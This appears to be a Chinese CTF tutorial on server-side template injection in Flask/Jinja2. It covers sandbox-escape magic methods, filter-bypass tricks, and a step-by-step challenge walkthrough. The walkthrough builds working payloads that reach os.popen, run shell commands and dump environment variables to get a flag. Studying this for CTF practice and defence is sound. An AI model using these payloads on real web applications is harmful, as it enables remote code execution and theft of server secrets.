CTF之服務器端模板注入(SSTI)與賽題

概念

定義

服務器端模板注入(Server-Side Template Injection)

服務端接受攻擊者的輸入,將其作為Web應用內容的一部分,在進行代碼編譯渲染的過程中,進行了語句的拼接,執行了所插入的惡意內容,從而導致信息泄露、代碼執行、GetShell等問題

模板引擎和渲染函數本身是沒有漏洞的,該漏洞的產生原因在于程序員對代碼的不嚴謹與不規范,導致了模板內容對用戶可控,從而引發代碼注入

主要框架

  • Python: jinja2、mako、tomado、django
  • Php: smarty、twig
  • Java: jade、velocaity

典型:動態歡迎語

引擎判斷

Flask模版

Flask框架是python的Web開發框架,他使用的模板引擎是Jinja2

Flask中的渲染方法有兩種:

  • render_template():用于渲染指定的文件
  • render_template_string():用于渲染一個字符串,是產生模板注入的主要函數

渲染引擎Jinja2會將{{xxx}}視為變量標識符,會將其中包含的內容作為變量處理,從而包裹的語句被執行

但是由于模板本身帶有沙盒安全機制,有自己獨立的代碼執行環境,并不能實現任意代碼執行

沙箱逃逸

當前對象所屬的類沒有想用的函數和方法,可以嘗試找父類以及父類的其他子類,獲取可利用的函數和方法

沙箱逃逸流程

  1. 找到變量對象所屬的類
  2. 回溯基類
  3. 查看父類的所有子類
  4. 篩選可利用子類
  5. 構造Payload

可利用魔術方法

方法

描述

__class__

返回對象所屬的類

__bases__ 或 __mro__

返回該類的所有父類

__subclasses__()

返回繼承該類的所有子類

__init__

返回類的初始化方法

__globals__

返回當前位置所有可用的全局變量

可利用類和方法

Python3方法

os._wrap_close類(命令執行)

  • system方法 os.system('命令')
  • popen方法 os.popen('文件或命令).read()
Python2方法

file類(文件讀取)

  • 用法:file('文件地址').read()
warnings類中的linecache方法
  • 用法:.__init__.func_globals['linecache'].os.popen('命令').read()}}
通用方法

__builtins__代碼執行

該方法下存在eval__import__函數,都可以用于命令執行

很多類下都包含 __builtins__方法,如warnings.catch_warningsemail.header._ValueFormatter

如果有很多個類的情況下,可以寫個腳本批量執行每個類的__builtins__方法,確定是否存在此方法,存在即可利用

  • 用法:類()._module.__builtins__.__import__.(os).popen('系統命令').read()}}

繞過方法

過濾??.
  • 可以用['']來代替
    • ['import'] === .import.
  • 可以使用attr()
    • 對象|attr('方法')
  • 可以使用getattr()
    • 對象getattr((),"方法")
過濾下劃線_

編碼繞過

  • 下劃線hex編碼后\x5f
  • 點編碼后為\x2E
特殊字符過濾
  • 可用字符拼接繞過
    • 如system==='sys'+'tem' (加號可用可不用)
  • 用join拼接
    • 如system===attr(['sys','tem']|join)
取值中括號被禁用

可用__getitem__或pop來代替

魔術方法中括號被禁用

可用__getattribute__("方法")替代

CTF例題

某個實驗性筆記網站允許用戶輸入名字生成動態歡迎語,但似乎存在安全隱患。你能找到藏在服務器上的FLAG1嗎?

1. 引擎判斷

輸入:{{2+3}} ,返回

雙括號內的內容執行了,下一步填入{{7*'7'}}檢查返回結果

可以判斷為是jinja2框架

由于雙括號內的內容會執行,所以可以把要執行的方法放在雙括號之間進行測試

2. 查看當前類

輸入:{{''.__class__}}

注意__class__前要加上''.''代表一個對象

確定當前類名為 str

3. 查看父類

輸入:{{''.__class__.__bases__}}

4. 查看父類的其他子類

輸入:{{''.__class__.__bases__[0].__subclasses__()}}

注意{{''.__class__.__bases__}}返回的內容是個數組,所以如果想查看父類的其他子類時需要加上下標,比如這里是{{''.__class__.__bases__[0]}}

5. 確定可利用類

有很多類,我們需要判斷出可利用的類有哪些

  • 方法一是直接檢索常見的可利用類,比如warnings.catch_warnings
  • 方法二是可以寫個腳本批量執行每個類的__builtins__方法,確定是否存在此方法,存在即可利用

這里我們先利用方法一,可以檢索到存在warnings.catch_warnings

{{''.__class__.__bases__[0].__subclasses__()}}返回的內容同樣是個數組,所以我們需要知道warnings.catch_warnings類在數組中的下標才可以利用,可以直接數出在第幾個,也可以寫個腳本跑出來:

# 全文復制到雙引號內
list = "......".split(", ")cnt = 0
for className in list:if "warnings.catch_warnings" in className:breakelse:cnt += 1
print(cnt)

執行腳本輸出166

輸入:{{''.__class__.__bases__[0].__subclasses__()[166]}}

獲取到可利用類

6. 具體利用與繞過

warnings.catch_warnings的一般利用方式為:

類()._module.__builtins__.__import__.(os).popen('系統命令').read()}}

所以輸入的內容為:

{{''.__class__.__bases__[0].__subclasses__()[166]()._module.__builtins__.__import__.(os).popen('系統命令').read()}}

可能會有一些字符被過濾,我們可以一步步嘗試


輸入:{{''.__class__.__bases__[0].__subclasses__()[166]()._module}},輸出正常


輸入:{{''.__class__.__bases__[0].__subclasses__()[166]()._module.__builtins__}},輸出正常


輸入:{{''.__class__.__bases__[0].__subclasses__()[166]()._module.__builtins__.__import__}},輸出異常

__import__觸發了過濾,屬于特殊字符過濾,嘗試繞過:

輸入:{{''.__class__.__bases__[0].__subclasses__()[166]()._module.__builtins__['__imp''ort__']}},輸出正常


輸入:{{''.__class__.__bases__[0].__subclasses__()[166]()._module.__builtins__['__imp''ort__'](os)}},輸出異常

(os)觸發了過濾,屬于特殊字符過濾,嘗試繞過:

輸入:{{''.__class__.__bases__[0].__subclasses__()[166]()._module.__builtins__['__imp''ort__']('o''s')}},輸出正常


輸入:{{''.__class__.__bases__[0].__subclasses__()[166]()._module.__builtins__['__imp''ort__']('o''s').popen('pwd')}},輸出正常


輸入:{{''.__class__.__bases__[0].__subclasses__()[166]()._module.__builtins__['__imp''ort__']('o''s').popen('pwd').read()}},輸出正常

之后就可以執行任意命令了

搜尋了一陣,發現沒有與flag相關的文件

flag還有可能藏在環境變量中!

輸入:{{''.__class__.__bases__[0].__subclasses__()[166]()._module.__builtins__['__imp''ort__']('o''s').popen('env').read()}}

或者

輸入:{{''.__class__.__bases__[0].__subclasses__()[166]()._module.__builtins__['__imp''ort__']('o''s').environ}}

成功找到flag

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/915209.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/915209.shtml
英文地址,請注明出處:http://en.pswp.cn/news/915209.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

除了某信,就是這款軟件來替代了!

引言 哈嘍,我是小索奇。有時候會有一個普遍的需求,想在幾個設備之間傳個文件或者發個消息,除了微信,想一想你還能用什么軟件? 今天就是為了解決這個問題,給大家介紹一款軟件 Localsend 來解決。 內容模塊…

Vue2.x封裝預覽PDF組件

一、為什么用PDFObject插件? PDFObject 是一個輕量級的 JavaScript 庫,主要用于在網頁中嵌入和預覽 PDF 文件。它通過簡單的 API 調用,可以在瀏覽器中實現 PDF 文件的顯示,而無需依賴任何插件。以下將詳細介紹 PDFObject 的特點、…

undefined reference to ‘end‘

相關問題: 一、undefined reference to _exit undefined reference to ‘end‘ warning: _close is not implemented and will always fail 一、環境: ubuntu24.04實體機、 arm-none-eabi-gcc gcc version 13.2.1 20231009 (15:13.2.rel1-2) 二…

nginx定制http頭信息

修改http響應頭信息,相關Nginx模塊:ngx_http_headers_moduleexpires語法:expires [modified] time;expires [modified] time;默認值:expires off;作用域:http, server, location, if in location用途:控制緩…

主機安全---開源wazuh安裝

Wazuh 簡介 Wazuh 是一款免費開源的終端安全監控平臺,支持威脅檢測、完整性監控、事件響應和合規性管理,適用于企業級安全運維場景。其核心組件包括: Wazuh Indexer:基于 OpenSearch 的日志存儲與檢索組件。Wazuh Server&#x…

GaussDB 數據庫架構師修煉(四) 備份容量估算

1 影響備份容量關鍵要素業務總數據量備份數據保留周期備份周期備份數據的壓縮比平均每天的新增數據量平均每天新增日志數據量2 備份容量的估算方法公式備份容量C = 自動全量備份容量C1 + 自動差量備份容量C2 + 自動日志歸檔 容量C3 &#xff…

《R for Data Science (2e)》免費中文翻譯 (第0章) --- Introduction

寫在前面 本系列推文為《R for Data Science (2e)》的中文翻譯版本。所有內容都通過開源免費的方式上傳至Github,歡迎大家參與貢獻,詳細信息見: Books-zh-cn 項目介紹: Books-zh-cn:開源免費的中文書籍社區 r4ds-zh-cn…

如何 ASP.NET Core 中使用 WebSocket

如何在 ASP.NET Core 中使用 WebSocket在現代 Web 應用程序中,WebSocket 連接非常流行且使用率極高。它可以幫助企業滿足數字環境需求,并處理來自最終用戶的實時數據。它還能提升生產力、輸出率和用戶體驗。如果您還沒有使用 WebSocket,那么您…

Python之--元組

定義是 Python 中內置的不可變序列。在 Python 中使用()定義元組,元素與元素之間使用英文的逗號分隔。元組中只有一個元素的時候,逗號也不能省略。元組的創建方式(1)使用()直接創建元…

工業相機GigE數據接口的優勢及應用

工業相機不同的數據接口適用的應用場景也不同,選擇合適的數據額接口,可大大提高效率。今天我們來看看常見的GigE接口的優勢及應用。基于GigE Vision標準的千兆以太網(GigE)相機通過提供快速、靈活且成本效益高的成像解決方案&…

【53】MFC入門到精通——MFC串口助手(二)---通信版(發送數據 、發送文件、數據轉換、清空發送區、打開/關閉文件),附源碼

文章目錄1 完整 功能展示2 添加控件變量及聲明2.1 添加控件及變量2.2 SerialPortDlg.h: 頭文件3 函數實現3.1 數據發送3.1.2 寫數據、字符串轉3.2 發送文件3.2.1 打開文件3.2.2 發送文件3.3 清空發送區4 完整MFC項目項下載1 完整 功能展示 串口通信助手 頁面展示,功…

算法學習筆記:27.堆排序(生日限定版)——從原理到實戰,涵蓋 LeetCode 與考研 408 例題

堆排序(Heap Sort)是一種基于二叉堆數據結構的高效排序算法,由計算機科學家 J. W. J. Williams 于 1964 年提出。它結合了選擇排序的思想和二叉堆的特性,具有時間復雜度穩定(O (nlogn))、原地排序&#xff…

I/O 多路復用select,poll

目錄 I/O多路復用的介紹 多進程/多線程模型的弊端 網絡多路復用如何解決問題? 網絡多路復用的常見實現方式 常見的開源網絡庫 select詳細介紹 select函數介紹 套接字可讀事件,可寫事件,異常事件 fd_set類型介紹 select的兩次拷貝,兩次遍歷 se…

最終分配算法【論文材料】

文章目錄一、最終分配算法1.1 平衡的情況1.2 不平衡的情況1.3 TDM 約束一、最終分配算法 上一步合法化后,group 的 TDM 情況大致分為兩類,一類是平衡的,最大的一些 group 的 TDM 比較接近。另外一種情況就是不平衡的,最大的 group…

《大數據技術原理與應用》實驗報告七 熟悉 Spark 初級編程實踐

目 錄 一、實驗目的 二、實驗環境 三、實驗內容與完成情況 3.1 Spark讀取文件系統的數據。 3.2 編寫獨立應用程序實現數據去重。 3.3 編寫獨立應用程序實現求平局值問題。 四、問題和解決方法 五、心得體會 一、實驗目的 1. 掌握使用 Spark 訪問本地文件和 HDFS 文件的…

機器學習漫畫小抄 - 彩圖版

斯坦福機器學習漫畫小抄,中文版來啦! 下載地址: 通過網盤分享的文件:機器學習知識點彩圖版.pdf 鏈接: https://pan.baidu.com/s/1-fH9OpC_u_OrTqWy6gVUCA 提取碼: 246r

1.初始化

業務模塊核心技術棧業務(亮點)解決方案課程安排01 認識Vue3為什么需要學Vue3?Vue3組合式API體驗Vue3更多的優勢2 使用create-vue搭建Vue3項目認識 create-vue使用create-vue創建項目3 熟悉項目目錄和關鍵文件項目目錄和關鍵文件4 組合式API - setup選項…

Milvus分布式數據庫工作職責

主導騰訊云Milvus服務化項目,設計多租戶隔離方案,支撐日均10億向量請求,延遲降低40%。優化IVF_PQ索引構建流程,通過量化編碼壓縮使內存占用減少60%,QPS提升35%。開發基于Kubernetes的Milvus Operator,實現自…

FMEA-CP-PFD三位一體數字化閉環:汽車部件質量管控的速效引擎

FMEA-CP-PFD三位一體數字化閉環:汽車部件質量管控的速效引擎 全星FMEA軟件系統通過??FMEA(失效模式分析)、CP(控制計劃)、PFD(過程流程圖)三大工具的一體化協同管理??,為汽車部件…

VUE2 學習筆記1

目錄 VUE特點 文檔tips 開發者工具 從一個Hello world開始 hello world Demo 容器和實例的對應關系 差值語法{{}} VUE特點 構建用戶界面:可以用來把數據構建成用戶界面。 漸進式:自底向上,可以先從一個非常輕量級的框架開始&#xf…